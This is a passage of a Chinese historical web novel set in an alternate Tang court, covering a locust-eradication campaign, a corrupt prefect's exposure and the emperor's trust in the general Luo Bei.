“将军打算发兵帮助他们吗?”王训大惊失色。 洛北笑道:“只是以备不时之需,毕竟有些时候,唯有血与火才能竖立权威。若无兵马压阵,只怕他们也没那么容易履约。但,那或许会是很多年后了。” 他掀帘正要出帐,褚沅又轻声叫了他一句:“阿兄!还有件事情要问你的示下。” “府上收到了吐蕃人的礼物,阿兄打算如何处置?” 等到回到自己的府邸,洛北才发现,褚沅所说的“礼物”真的是字面意义的礼物。什么珊瑚玛瑙、珍珠宝石……满满当当,堆了几大箱子。 他看过第一个,其余的连封也不拆,让褚沅通通送到宫中去给皇帝:“代我回禀陛下,这些东西与我无用,不如捐入国库,今年赈灾济贫的时候用。” 李重俊对着这些箱子哭笑不得,次日宣召洛北进宫问诊的时候,干脆当面问他:“吐蕃使者是把朕当傻子了吧,如此拙劣的计谋用到朕的面前来了?洛卿也是,何必和朕来这套……” 洛北眉眼低垂,显得有些忧心忡忡:“陛下,人言可畏啊。” 自打回长安以来,他处处谨慎,时时小心,连交游都日益减少,个中深意,他与李重俊都心知肚明——他的官太大,权力也太多,若再交游广阔,只怕会有“功高盖主”之嫌。 李重俊无奈地叹了口气:“朕知道了。” 次日清晨,久病的皇帝突然在小朝会上露了面。自从不理政务退居宫中之后,他的气色比之前好了五成还多。 萧至忠率先恭贺:“陛下身体康健,诚乃国家之幸。” 李重俊笑道:“这可都是洛卿的功劳,先帝在时,曾说洛卿有妙手回春之能,如今一见,果然如此。” 宰相们互相交换了个眼神,洛北圣眷如此,不知是福是祸。 “不过,朕听闻洛卿自己厉行节俭,府邸中摆设平常。”李重俊道:“就连吐蕃人也听闻消息,给洛卿送了不少财物,如此一看,倒显得我大唐薄待功臣了。” 洛北一时拿不准皇帝的态度,出列道礼:“微臣” “洛卿不必说话,来人啊,去宣吐蕃使者到殿。”李重俊挥手打断了洛北的话,又叫内侍出门宣旨。 吐蕃使者穷桑倭儿芒在长安数日,忙于四处结交各种势力,甫一被宣,还有些不敢置信:“不是说唐家的皇帝病重”直到看到紫宸殿香炉升起的袅袅青烟,才有了些入宫的实感。 “穷桑倭儿芒,”李重俊费力地读出他的名字:“赞普在国书中说,他是真心希望为我大唐藩属,两国永结盟好,再不言战,是吗?” 穷桑倭儿芒怔愣片刻:“这,自然。陛下,此前赞普年幼,朝政皆有韦氏叔侄把持,因而两国交恶,战事不断。我吐蕃素与大唐有秦晋之好,绝不会起反叛之心。” “是吗?”李重俊随意掬起一条珠串,掷在他脚下:“那你往朕的碛西郡王府中送这些东西是什么意思?!” 穷桑倭儿芒一揖到地,额头贴到了紫宸殿的地砖上,口中讷讷,不能多言:“外臣” “回去告诉你家赞普!洛北是朕的肱骨之臣,他要是缺少东西自然会问朕要,不要你家赞普费心!”李重俊厉声喝斥,“要是再有这样的小动作,叫他自己来长安给朕解释!” 穷桑倭儿芒这下是彻底没能站住,脚下一软,跌倒在了大殿上。李重俊看也不看,挥袖道:“来人,送使节出宫!” 两个侍者扶着踉跄的穷桑倭儿芒走出大殿,李重俊才重新扫视殿下众人,在一众或惊或喜的神色之中,洛北脸上的平静反倒成了那个异类。 李重俊仰靠到坐榻上,低声唤他的名字: “洛卿。你觉得朕处置得如何?” 洛北俯首道礼:“微臣谢过陛下隆恩。”垂落的眼帘遮住了金棕色瞳孔里的暗涌。 第272章 “若有祸事,微臣愿意以身挡之!” 对隆熙三年的大唐百姓而言, 千里之遥的吐蕃,万里之外的大食与他们的生活关系甚浅。柴米油盐、家长里短,眼前的样样事情都比这些朝廷大局重要得多。尤其是今年—— 关中、山东、河南自入春以来, 连连大旱。春耕的时节里一滴雨也没有, 好不容易暮春下了几滴雨,百姓们紧赶慢赶地把种子种下去、秧苗插起来,地里却发现了虫卵。 蝗灾不远,以姚崇、洛北牵头,宰相们急急地议出章程, 要各地各级官吏皆以捕蝗、灭蝗为己任,把裁撤的府兵分回各乡,帮助地方灭蝗。 但这个章程刚到朝中, 便激起一片反对之声。其中首当其冲的,正是宋璟的副手,时任右御史中丞的卢怀慎。 卢怀慎政绩不显, 素以节俭著称于世, 他虽然贵为当朝高官,但家徒四壁,家人所过的日子也十分寒苦。朝廷的文人雅士多有敬佩他的品德的。 有他挑头,便有许多士人上书, 要求朝廷暂停灭蝗。 “宋相公!”一贯雷厉风行的姚崇为此勃然大怒,“此事已在政事堂议定了, 你也在奏章上署了名,点头在前,指使他人反对在后, 这似乎与你的官声不符吧!” 宋璟也在为此事头疼,见姚崇率先发难, 反倒冷下一张面孔:“御史台有风闻奏事之权,指点朝政,本来就是他们的责任。难道姚相公希望我以强力压制下属吗?” 他们眼看就要当场吵起来,萧至忠赶忙出面做和事佬: “姚相公、宋相公说得有理,此事本也不是他能阻止的。倒不如看看这奏疏上说了些什么,好予以驳斥。” 苏颋捏着那本奏疏,脸上神情复杂:“卢中丞在奏疏中说,上天有好生之德,蝗虫亦是生灵,怎可滥杀。如今陛下病重,更应修德养生,为陛下祈福。” “真是荒诞至极。”张孝嵩不禁摇头,他常听闻卢怀慎笃信佛法,平日乐善好施,将积家之财都散于宗族和寺庙,没想到国家大事上他也拿这套说辞来顶,“可他拿陛下来作挡箭牌……” “这事倒也简单。”洛北温声道,“陛下好生恶杀,便不由陛下直接下诏。我身为宰相,尽可以行文地方,让他们照章办事。” 这话说得不像初任宰相的大将军,倒像个精于政事的老吏,几个宰相都把目光投在了他身上。 姚崇却击节叹道:“好!郡王这个提议提得好,我再补一条,若不能成功,就请陛下革去我的官职!” 洛北转头望他,金棕色的眼眸中难得带了点情绪:“姚相公,此议我参与甚深,怎可让你一人独当此罪?” “郡王有大功于国家,因而入阁拜相。如今边境稍安,吐蕃和议未成,郡王就丢职罢官,反而容易让这些势力蠢蠢欲动。”姚崇声音诚恳,“如今正是裁撤府兵,叫他们回去耕田灭蝗的紧要关头,边塞一起烽烟,我们就会前功尽弃。” 他语意拳拳,洛北只得点头同意。 萧至忠道:“既然朝野议论如此,我们倒不如召开朝会讨论此事。叫他们在一场朝会上把能吵的架都吵了,好过我们来来回回的行文。” 次日清晨,姚崇的回文便被中书舍人萧嵩当庭念出,朝野震动,就连皇帝李重俊也大为感动: “当年太宗皇帝生吃蝗虫,以救百姓,朕安敢惜己一人之身而忘百姓疾苦耶?卢中丞这话不必再说!” 卢怀慎不料被皇帝当场点名,他用颤颤巍巍的手捋了一下衣袍,出列道:“臣非不懂爱民之道,只是万事万物,皆有天和。杀虫太多,有伤天地和气。此事尚可商榷,请公三思。” “卢中丞,人为万物之灵长,你为一虫的生死而要看着老百姓活活饿死吗?!”姚崇出列回道,“若有祸事,微臣愿意以身挡之!” 卢怀慎低下头,声音更沉了:“姚相公,当国之不幸,恐怕你没有这个资格吧?岂不闻老子云:‘受国之垢,是谓社稷主;受国不祥,是为天下王’?” 这是诛心之论,姚崇忍不住后退半步,寒毛倒竖,若是真被卢怀慎的陷阱得逞,那他先前阻拦皇帝亲手下诏的做法岂不是就成了罪证? 朝中人人知晓卢怀慎是拿出了一把杀人的刀,片刻之间无人敢于迎战。苏颋定了定心神,正要上前,却见洛北一声轻笑,出列在前。 他一身郡王紫袍,本就在朝堂最前的位置,这一出列,满朝文武都能看到他昂然立于殿上,挺拔如松: “卢中丞既然引了《道德经》,那微臣也斗胆引一句——”他的声音如同玉石相击,刹那间就震住了满场的窃窃私语,“民不畏死,奈何以死惧之!” 这等于在说卢怀慎弃百姓于不顾,是要逼着百姓造反。 卢怀慎脸色陡然一白:“我没有这样说!” 洛北声音忽如春水化冰:“本王敬中丞清廉节俭,素有贤名,自然相信中丞不是有意言之。中丞若真的去过受灾诸道,看看那些把草根和观音土同煮的妇人,摸摸那些腹大如鼓的垂髫小儿,看到书上写的万千生灵成为实实在在在你脚边哀求的百姓时,大抵也会生出‘求苍天怜悯众生,只罚我一人’的感慨。” 苏颋忍不住扯了扯张孝嵩的衣袖,压低了声音问:“他这叫不长于文采?” 不服不行啊,洛北这一席话,先捧了卢怀慎缓解矛盾,又压他不得不支持灭蝗,还顺便替姚崇澄清了没有逾越的意思。 张孝嵩笑了,也压低声音道:“若苏相公见过他与那些俘虏谈话,便不会为此感到意外了。” 他是亲眼见过的,洛北审问俘虏,连重话都不说几句,对面就已经扛不住压力,把实情一五一十地吐了口。 “下官愿意入河南督促灭蝗!”御史堆里有个御史高声喊道,众人定睛望去,正是若干年前御笔钦点的张九龄。 一时之间,朝堂上响应之声此起彼伏,如同浪潮。宋璟不得不转过身去弹压众人不许喧哗,注意秩序。 待到朝堂稍静,李重俊才开口: “这么说,你们是没有人对此事有异议了?那请姚相公总领此事,洛卿辅之,诏令即刻下达,命各地官员不得有误。” “陛下,微臣……”姚崇开口提醒他不必亲自下诏。 李重俊却摆了摆手:“姚相公不必说了,虽然朕不能效仿太宗皇帝生啖蝗虫,但还能一道亲笔诏书都不肯发吗?” 此诏一经发出,各地官吏响应如风。 在距离长安不远的郡县,十来堆篝火在暮色中次第燃起。有个身着军袍的汉子站在最前面,火光照亮了他被风沙磨砺过的脸庞:“乡亲们看仔细了!蝗虫最喜光亮,夜里在火堆后张开布幔,待它们扑火跌落” 他话音未落,远处已传来嗡嗡声。百姓们慌忙举起浸过桐油的麻布,却见他突然抽出横刀,雪亮刀光在空中划出弧线:“怕什么!当年在大勃律,老子砍的敌人比这虫子还多!” 第一只蝗虫飞入火堆中的瞬间,潞州刺史正带着折冲都尉和御史们丈量蝗虫数量。他以手指为算筹,拨过来翻过去地算了又算:“按照朝廷律例,光这个县就得给我五十石赈灾粟米!” 在他们身后,几个孩童正追着运送石灰的车架奔跑,扬起的白雾里混着衙役的喝声:“小心!小心!” 这一片火热之中,唯有汴州寂静得诡异。汴州刺史倪若水端坐在衙署中,漫不经心地翻着桌上的文书。 “使君!又有公文来了!这次是姚相公亲笔写的……”他的侍从声音里已经带了惊慌,“还有十来个府兵头头,我虽然按照您的布置把他们打发了,他们却说,明天还要来……这,他们不少人功勋在身,再压下去,怕是要出乱子的。” “急什么?祭坛可建好了?”倪若水瞥了这侍从一眼。 “这,这,使君,百姓们都要饿得走不动路了,您还要建祭坛。”侍从婉转道,“若是他们闹起来……” “闹起来也同我无关,洛北不是号称什么大唐军神吗?姚崇不也素有贤臣之名吗?他们都要以身挡灾,就让他们来试试好了。” 倪若水走到堂内供奉的神像前,拈起一柱清香,拜了三拜,“明明是他们不修德酿成大祸,引起天道惩罚,却把责任都压在我们地方……有这样的宰相在朝,蝗灾安能止歇?” 那侍从面露不忍,继续劝道: “可是使君,如今只有咱们汴州没有动作,其他的受灾各州县都动起来了。那个巡查河南道的张九龄,据说是陛下亲自在上巳宫宴中点中。要是被他一本参了上去,您……” “所以我们要先发制人。”倪若水坐到案边,用笔蘸饱了墨,“先上书弹劾姚、洛二人不修善法……” 第273章 “难道你还没明白,为什么郡王在一众亲卫中选中我来了汴州吗? 可倪若水实在是低估了洛北, 也低估了朝廷推行此政的决心。 他的奏疏还未到朝中,张九龄的信件就已经到了罔极寺姚崇的案头上。姚崇一读这封信,忍不住心中的愤怒, 一巴掌拍在桌案上: “真是岂有此理!” 那桐木做的桌案被他这一下震得一颤, 好在桌上只摆着一壶清茶,两只瓷杯。坐在他对面的洛北眼疾手快地抄起茶壶,顺势在他的杯中加了些茶水: “姚相公最近的脾气发得太多,小心伤肝。” 姚崇叹息一声:“国家受灾如此,百姓危难, 我们在朝中好不容易把议论压下来了,把章程列明了,地方上又跟我们对着干。你看看这封信吧。汴州刺史倪若水到现在还不肯动手灭蝗, 他想干什么?” 洛北早就得到了消息,此刻面上却不能表露,只把一封信件上下打量了一遍: “此人既已经把祭坛修了起来, 想来必有后手。我猜他弹劾你我不修德行的奏疏已经在路上了。说不定, 还要指责是我这个异族入朝拜相,才引起的上天示警。” 姚崇端着杯子的手突然顿住了。他把茶盏轻轻放在桌上:“异族的话,旁人说也就罢了,你自己怎么也说起来了, 若是当年” 他说到这里又停住,低头看着茶盏里打旋的茶叶, 有些后悔自己在盛怒之下提起这个话头: 归根究底,当年一力要求张柬之扣着洛北的身份密而不发的是他自己! “咔哒”一声,洛北把手中的茶盏也放到了桌上。他金棕色的眼眸里倒映着窗外夕阳的辉光: “姚相公, 我相信局势到如今这般地步,不是您的本心。但这些旧事, 您之后不要再提了。” 洛北此次入朝以来,一直以温良恭俭的形象示人,即使是郡王爵位加身,又入阁拜相,也未显出半分大权独揽的态度,乍然露出如此锋芒,直把姚崇惊得站起了身。 他张口正要为自己辩解什么,窗外暮鼓恰在此时响起,惊得檐角铜铃震颤不休,将他未尽的话语淹没在罔极寺的檀香里。 他看着洛北金棕色瞳孔里跳动的辉光,忽而想起多年前白马寺外的一次相逢,那是神龙宫变之后,他们在狄公墓前相遇。漫天大雪里,洛北蝶翼一样的眼睫也粘上了雪花,那时望着他的也是这样一双眼睛: “是我有负于狄公,是我……对不住你。” 洛北屈起手指点了点桌案:“还是说说这封信吧,姚公可想好如何驳斥了?” 他不愿接姚崇的话茬,本身就是一种表态。姚崇叹了一口气,脸上露出一点惨然的笑: “我这就下文书去申饬他,问问他,古人说,有德的地方长官,蝗虫不入其境,那他汴州有蝗灾,是否说明他这个汴州刺史为官不修德?” 洛北颔首:“好,姚公做事果然老辣,想来这以子之矛,攻子之盾的文书一出,倪若水也没有话讲了。不过,为了以防万一,我想让骨力裴罗去汴州监督灭蝗之事。” “骨力裴罗?你的那个亲卫?”姚崇捋了一把胡须:“他好像是回纥族人吧?” “是,骨力裴罗是瀚海都督伏帝匐之孙,日后要承袭瀚海都督兼本部押藩使节之职,他是凉州长大的部族子弟,对田务缺乏了解。让他去组织灭蝗,算是我设下的一个考验。” 他说得那样轻易,好像国家大事只是他用来培养下属的磨刀石,姚崇皱起眉,还是耐着性子道: “你打算给他个什么官职?河南道驱蝗使是张九龄,给他个副使如何?” “汴州司仓参军可行否?” 唐代设立六曹为州府的佐治之官,司仓便是其中主管仓储、粮草的官员。此职品级不高,只需宰相点头就可任命。 姚崇颔首:“釜底抽薪,是个好计策,可是,如果骨力裴□□不了呢?” “那我就自己去汴州。”洛北道,“不灭此灾,绝不回朝。” 骨力裴罗受命赶到汴州的时候,汴州城外的祭坛已经垒了起来,放眼望去,高逾三丈。坛上颂经与念法之声响彻天际。 祭坛之下,朝廷钦命的驱蝗使张九龄一身青袍,脸色在飞烟之中显得越发难看。 他到汴州已有三日,这三日他每每求见倪若水,都被倪若水以大典将行,他要闭关斋戒为百姓祈福的理由拒绝了。今日他本要抓着倪若水上祭坛之前的机会拦住他,却没想到被他手下的衙役拦在了祭坛下。 他弹劾倪若水的奏疏已经写完,但长安的回文还有时日。如今倪若水每拖过一日,汴州便会多一亩田地受灾,他心急如焚,但又没有办法。 祭坛上的倪若水正将最后一道表文投入青铜鼎中,青烟袅袅,颂唱声再度大作。张九龄看不下去,挥袖正要离开,却发现不远处立了个身披素服,腰悬金刀的少年。 这少年形容俊朗,意气昂扬,唯有高鼻深目的面容显出他不是个汉人,见他挪步,先走过来道礼:“见过张御史,在下骨力裴罗,新任汴州司仓参军。” 张九龄察觉到一点不同寻常:“你是碛西郡王的属下?” 骨力裴罗咧嘴一笑,露出一口白牙:“不错,之前我在郡王军中效命。临行之前,郡王叮嘱我,若到汴州,先要与张御史相会。” 张九龄望着他,顿时感觉自己心里有了底气:“朝廷打算如何处置倪若水?” “如何处置,算是后话。”骨力裴罗道,“当务之急,是抓住倪若水一力和朝廷顶着干的原因。” 张九龄神情一动:“你我初来乍到,打算从何查起?” “帐簿。”骨力裴罗从袖中拿出一页纸张,“来前我在户部抄了些数字,请张御史先前往仓房看看如何?” 张九龄没想到这个回纥部族贵胄出身的青年也懂得这些官场门道,当下愣在那里:“裴罗将军懂得这些?” “张御史可不要小看我,从前在碎叶文馆读书的时候,我的算学可是次次第一。”骨力裴罗笑道:“不过此刻不到我出场的时候,在张御史查验帐簿的时候……我要去找些老人聊聊。” 前任的司仓参军没有等到骨力裴罗的到来,反倒等到了以驱蝗使名义直入刺史府廨堂的张九龄。 “我是来看看汴州还有多少粮草可以分发给百姓。”张九龄语气客气,“还请贵参军把帐簿拿出来给我看看。” 司仓参军为难道:“这,这得有倪使君的印信……” “我是奉诏办事!”张九龄将手中茶盏重重叩在司仓案上,震得砚台中墨汁四溅。 司仓参军额角渗出冷汗,余光瞥见廊下影壁后倪若水亲信打的手势,强撑着道:“请,请张御史莫要为难下官……” “衙门屋檐流水是代接代,交接的时候出了乱子,你还能逃过一劫。”骨力裴罗笑着踏入衙署,“可要是真按着规矩来,我就要让你解释解释……为什么城西义仓有三千石粟米被你用私印调走了?” “你是什么人?!”那前任参军吓得倒退一步。 “骨力裴罗。”回纥少年自报家门,“你的继任参军,也是凉州瀚海都督的孙子——老实把账册交出来,我保你的家人在凉州安度晚年。” 片刻之后,十卷漕运账册在案几上垒成小山,张九龄坐在案前慢慢翻看,越看越触目惊心: “贞观八年漕粮损耗不过五百石,神龙年间增至三千,到倪使君治下竟要报损六千?汴河年年修缮,年年花的银子如同流水,可损耗还是这么大……” “倪若水还报了水匪猖獗的消息。”骨力裴罗指了指账册的一段,“可我实地去看过,那是一片宽阔水面,两岸只有滩涂,连芦苇都不多。这些水匪要藏在何处,才能次次都把朝廷的运粮船截走?” “漕运弊政已非一日。”暮色将至,张九龄揉了揉额角,叹息一声,“但我们只有这些,是扳不倒倪若水的。” “若是抓了现行呢?”骨力裴罗问。 “你打算干什么?”张九龄骤然起身,虽然他与骨力裴罗相识不久,但经历这数日的风雨,已有了“倾盖如故”的感觉。 骨力裴罗似笑非笑地看了他一眼:“张御史不必担心,难道你还没明白,为什么郡王在一众亲卫中选中我来了汴州吗?” 他话音未落,廊下骤然响起弓弦紧绷声,三支弩箭破窗而入。骨力裴罗一把扯开那前任司仓参军,反手抽刀出鞘,挡开两枚弩箭:“小心些!箭上有毒!” 司仓参军冷不丁被他一拽,一枚弩箭擦过他的头顶钉入堂中的圆柱,他回过头来时,幞头已被削去半边: “这,这是。” “最简单最直接的杀人灭口。”骨力裴罗自腰间取出一只短笛,放在唇边吹了一下,笛音尖锐,几乎能刺破长空。 他抓过参军和张九龄,带着他们从后窗翻出,那里已停了十来个身骑骏马的回纥武士。 “走!先出城再说!” 那几个回纥武士带着他们一路狂奔,直到出了城,张九龄才后知后觉地拍了拍胸口:“好险,刚刚若不是裴罗将军当机立断,我们怕是……” 骨力裴罗轻轻一笑,只看向缩在马车一角的前任司仓参军:“怎么,还打算替你的主子隐瞒吗?” 第274章 “真话就是,因为洛卿总是对的。” 数日之后, 一封奏疏自汴州直达长安,驱蝗使张九龄与新任的汴州司仓参军骨力裴罗联名参奏汴州刺史倪若水毁坏漕运,贪赃枉法, 刺杀钦差等诸多罪名。 这个消息陡然把朝堂分成两派, 一派指责倪若水等地方官僚对抗朝廷大政,不体谅百姓疾苦,应当予以罢免。 一派则说驱蝗使连同归乡的府兵权力太大,搅扰了地方应有的秩序,如今更是拿这样的罪名来攻讦官员, 再纵容下去只怕国将不国。 朝堂吵吵嚷嚷一直到了十来日之后。张九龄派遣使节,由骨力裴罗麾下的回纥部子弟护送,押送前任汴州司仓参军和账簿一百二十本同到长安。随着账簿一起呈上的, 还有张九龄的一本奏章。 “洛卿且看,这张九龄和骨力裴罗在汴州的经历,先是逃亡, 又是智斗, 还有许多来来回回的官场交道比民间流传的传奇故事还要引人入胜了。” 洛北照旧进宫给皇帝问诊的时候,李重俊还在津津有味地读那本奏疏,他似乎把这奏疏当成了故事书来读,翻过来、覆过去地看了好几遍。 洛北只是一笑:“陛下现在看奏疏来打发时光了?” “可别指望我能回去上朝啊。”李重俊连忙把奏疏往枕边一放, 重新靠在了卧榻上。 他这话说得急,连自称都忘了用:“我就是看着这奏疏有趣, 多看几遍消遣罢了,张九龄的文笔果然不错,朕回头应当让他监修国史。对了, 汴州的事情,你让姚崇全权处置吧。” “关中、河南、山东大旱、大蝗, 西境战事方平,金城公主又要和亲吐蕃。”洛北放下皇帝的手腕,声音温和:“陛下若要让微臣去汴州,微臣也不敢去。” 兵部尚书兼碛西镇守使离开长安去地方州县——这是要动大刀兵的预兆,会让许多人睡不着觉的。 李重俊见他一如既往的平静神情,忍不住笑道: “知道,朕在这宫里养病,实在是闷得慌,就指着你进宫的时候说些别的话。结果你进宫来三句不离公务,四句不离国家大事。洛卿啊,谨慎也不是这么个谨慎法。” 他仰靠在床头上:“朕有分寸,你放心吧。许多事情朕不要你出头,你也不必把自己陷进去。骨力裴罗这次立了功,等蝗灾一过,让他回来到宫中当值,朕给他一个中郎将做。” 洛北躬身道礼:“微臣遵命。” “哎,这就要走啦?”李重俊挥了挥手,“没别的话说?” 他开了口,洛北重新站直身体,神情一如既往的淡泊平静:“陛下只要善加调养,活过今年冬天不成问题。” “不说说张九龄的奏疏和账本?”李重俊好整以暇地打量他,“不说倪若水这每年贪下的许多白花花的银两,都送到了相王的府邸?” 洛北轻轻摇了摇头:“陛下已悉将此事交予姚相公处置,微臣不便开口。” “好,你去吧——”李重俊挥了挥手,突然又想起什么似的:“张韩公去后,他的摊子,你打算要谁来接?” 皇帝口中的“张韩公”便是戍守灵武的张仁愿。他自中宗时被排挤出长安,就一直担任灵武道大总管,到如今已有八年时光。张仁愿在灵武纵横捭阖,修筑数道防线,逼得突厥人的势力步步回退。 洛北轻轻一叹,当年张仁愿与他提起北伐突厥的雄心的模样还在眼前,如今大业不成,这位老将军就已经不在了: “微臣已经提名了并州长史张嘉贞和桂林都督王晙,张嘉贞治政有方,百姓爱戴,四夷宾服。王晙修城屯田,治军育民皆有成就,此二人都可以镇守灵武。” “张嘉贞?王晙?”李重俊有点不满地用手指敲了敲床榻:“你这是在糊弄朕。古人还说举贤不避亲,你麾下那些人,就没人能镇守朔方?” 洛北摇了摇头:“微臣这些年多在碛西作战,麾下将领最多也只了解碛西各部的情况,朔方地处冲要,又有赤水雄军,理应派一个谙熟此地的人去。” “这是胡扯,你在鸣沙当县令的时候,哥舒亶就是赤水军的军官。”李重俊瞪了他一眼:“朕看,是因为你麾下的将领都和突厥左贤王并肩作战过。他们曾经共击大食和吐蕃,现在又要战场相见,不太好看吧?” 洛北被这突然发难弄得丈二和尚摸不着头脑,皇帝半月前才下旨给了阙特勤许多赏赐,还要给他一个国公称号,只是被朝中大臣们以国公不轻易授予蕃国臣子阻拦,才讪讪作罢。 如今皇帝旧事重提又是为了什么?难道只是为了敲打他? 他躬身道:“微臣惶恐。” “惶恐什么,朕又不打算让你带兵去打突厥牙帐。”李重俊咳了一声,又有些不耐烦地拍了拍床沿:“不要跪,坐下来,朕和你只当是朋友交谈。” 洛北只得还像问诊那样坐到他床榻边:“微臣与阙特勤素有旧谊是不假,可战场交战时也从未留过手,若陛下真要微臣带兵踏平突厥牙帐——” 李重俊抬手止住了他要说下去的话:“不是要你打仗,这些日子你在政事堂里也看到了,国库没有那么多的钱。一场青海之战已叫户部哭爹喊娘,再北伐朕还不是杨广、桀纣!说这些只不过想告诉你,朕给你想了个人选,你看可不可行。” 他这一番乱石铺路,到底让洛北好奇起来:“陛下想让谁去朔方?” “李贞。”李重俊看着他笑:“肃州刺史,李贞。” 李贞,李慎交?!洛北一怔,那双金棕色的眼眸中难得充满了疑惑。李贞虽然不是他的下属,但他们在凉州、鸣沙、灵州共患难过,几可称得上是生死之交。皇帝为什么会提这样一个人来掌握灵武军? “能看到一贯云淡风轻的洛卿这副惊讶表情,算是朕最近最快慰的事情了。”李重俊哈哈大笑,但他笑得太猖狂,吸了太多冷风,末了又忍不住呛咳起来。 洛北端过一旁宫女手中的药碗,给皇帝喂了两勺温热的汤药,才把这咳嗽压下去:“陛下还需要静养,微臣” “朕已经下了密令,赐死相王和谯王。”李重俊闭上眼,轻轻地说了一句话。 药碗在洛北手中轻轻一晃,褐色药汁在青瓷碗沿撞出一点点细碎的涟漪。他下意识地抬头要看皇帝的神情,却发现李重俊用手背遮住了眼睛。 “陛下,相王与谯王密谋宫变,是自绝于天下。如今一死,也算是咎由自取。”洛北安慰道。 李重俊苦笑了一声:“我知道,他们俩如果不死,死的人就会是我和家人。但我有时候做梦,还梦到小的时候我们在房州,重福大哥——谯王带着我们一道去抓鱼。” 他说到此处,再度咳嗽起来,咳得撕心裂肺。 洛北犹疑片刻,略略调整坐姿,伸手去替皇帝拍他的脊背。 “朕本来没想赶尽杀绝。”李重俊在他的安抚下平静下来,“但倪若水的事情给朕提了个醒,相王在朝多年,与朝中许多大臣过从甚密,朕在的时候,尚且可以压住他不作乱。朕一死,主少国疑,那些人会怎么样?” “父母之爱子为之计深远。陛下苦心如此,微臣是明白的,想必满朝大臣,也未有不明者。”洛北抽回手,静静地望着皇帝:“微臣有一事想请问陛下。” 李重俊撑着身体重新靠回床头:“不是说了吗,你我君臣不过是朋友相谈,你还这样谨慎做什么?” “陛下为什么如此信任微臣?”洛北问。 李重俊笑了:“也就你会问这样的问题了,洛卿啊,你想听真话,还是该说的话?” 洛北歪了歪头:“该说的话是什么?” “因为你是出身阿史那氏的胡人藩将,即使在草原上一呼百应,只要把你留在长安,就永远不用担心你会谋反叛乱。也因为你至今还无家室、也无子嗣,即使篡位,百官也不会跟着押你这股后劲不足的赌注。”李重俊坦然道。 洛北微微勾起唇角,眼神中竟隐约有了点释然:“那陛下的真话是什么?” “真话么”李重俊盯着他的眼睛:“真话就是,因为洛卿总是对的。” “有时候我也会觉得,洛卿像个不食人间烟火的神明,你下到凡间来,除了拱卫大唐,安定百姓,并无他求。” 李重俊放低声音:“从前我也怨恨过你为什么不违逆先帝,为什么一味地叫我闭门读书,不要掺和朝政。后来我见多了那些人打着国家的幌子干中饱私囊的活计,打着保护我的旗号为自己博名利,才发现你的不管不问是多可贵的东西。” 洛北正要开口,忽觉掌心一热。李重俊不知何时攥住了他收回去的手,皇帝将双手都盖在他的手掌上,似乎真要把什么千钧重担压到他的肩上: “洛卿啊,‘李贞’这个名字,朕会让张说提上来的。” 李重俊郑而重之地道: “你们说的那些什么社稷主,什么天下王,朕都知道。朕还知道一句话,‘君之视臣如手足,则臣视君如腹心’。该担的责任朕会自己担,该挨的骂名朕也不会跑——只有一条,朕把天下交给你们这些有才有德的人。你们要把这个天下,给朕治理好。” 翌日诏书下达,皇帝以雷霆之势罢掉了倪若水的汴州刺史职务,以汴州长史暂代,还放出话来: “若有再阻挠驱蝗,贪墨粮漕之人,一应罢免!” 第275章 “洛卿真把朕当成高纬那样的昏君了?” 有皇帝如此鲜明的表态, 外加朝中宰相们日日催逼,大唐这架国家机器又轰隆隆地开动起来。到了这一年夏暮,蝗虫已从大唐的农田里消去了踪迹。 朝廷欣喜之余, 下令轻徭减赋, 命各地驱蝗使巡查农田,鼓励农耕。 终是功夫不负有心人,这一年秋收,大唐奇迹般地迎来了一个丰收年。史载:“是岁天下蝗不为灾,民无饥谨。” 这一年冬天, 病情稍有好转的皇帝李重俊回归朝堂,便转手安排起家事来。他立杨皇后之子李宗晖为太子,征召左骁卫大将军、金山郡王阿史那献与成纪县主之子, 碛西郡王洛北的幼弟阿史那震入宫为太子侍读。 洛北一门显贵,时人皆以北朝高门斛律氏相比。 右御史中丞卢怀慎曾在私宴上与御史大夫宋璟感怀: “昔年斛律明月何等忠勇,其子尚公主, 女为皇后, 终究难逃满门倾覆。今洛北虽功在社稷,陛下厚恩如此,恐怕不是国家之福。” 宋璟苦笑道:“我何尝不想封驳此诏书,可姚相公劝了我。” 那日, 当皇帝手敕来到政事堂时,在场的宰相正是宋璟与姚崇。宋璟正要写疏封驳此书, 姚崇却笑着劝他: “当年斛律光府邸不过七百亲兵,尚被诬告谋反。如今洛北将军节制十万边军,若真要作乱, 何须等到今日?宋相公,斛律光之祸是因北齐幼主暗弱, 奸臣当道,陛下是圣天子,洛北又素来恭谨宰辅引喻失义,可是要出乱子的。宋相公可要小心啊。” 宋璟长叹一声,对卢怀慎道:“何况陛下如今又点了李贞为灵武道大总管,天下军权泰半在他洛北手中,便是真有人想要动他,也得掂量掂量自己的分量。” 关于斛律氏的那番比喻传到洛北耳中时,他正在府中教幼弟阿史那震射箭。 与斛律氏类似,洛北与他的父亲阿史那献皆以极善骑射著称,洛北本人更是草原上有名的神射手,可阿史那震生在长安,就连手中的弓箭都握不稳,更别提射箭了。 不巧阿史那献又去了北庭,把教导幼弟的任务丢到洛北头上。 洛北好容易得闲,便从如何握弓教起,硬生生教了这孩子三个时辰。但射出的羽箭总是歪歪斜斜,洛北无奈之下,蹲下身去问:“阿震,你到底有什么地方不明白?” 那孩子皱着眉眼问他:“大哥,他们都说,我们会是第二个斛律家族,真的吗?” 这孩子说话的口音已与长安的贵胄子弟别无二致,大部分时候,他会自称为“史震”——这个名字听起来更像个汉人。 洛北没有立刻回答,他握起幼弟的手,弯弓搭箭:“射箭的时候,应该心无旁骛,眼睛和箭头都要盯着目标。”他手中一松,羽箭离弦而出,正中靶心。 “做人行事也是一样。”洛北把弓箭交给他,示意他自己再来一次,“但行当行之事,莫问其他。” 阿史那震似懂非懂地点点头,学着他的样子一箭射出,羽箭直直地钉在了靶心上。 次日,洛北上书请求皇帝罢去他兵部尚书的职务,理由是“避嫌”。此言一出,满朝哗然。皇帝不顾自己尚在病中,起身喝问他:“洛卿真把朕当成高纬那样的昏君了?” 这句诛心之问让满朝大臣都面如土色。洛北却依旧垂首而立,阳光透过殿门在他脚下投出长长的黑影,宛如一座终年不化的雪山。 “诸位都读过史书,斛律明月遭戮之后不过五年,北齐便亡国了。朕还不想做自毁长城的独夫,所以碛西郡王此议不许。”李重俊一锤定音,“另外,朕已同萧相公商议过,由他左迁太子少师,负责教导太子。” 太子少师位列三少,是极少予人的荣誉头衔。皇帝将萧至忠升迁到这个位置上,便等同于罢去萧至忠的宰相职位。这是皇帝给这位辅政十余年,劳苦功高的宰相大人一个荣休。 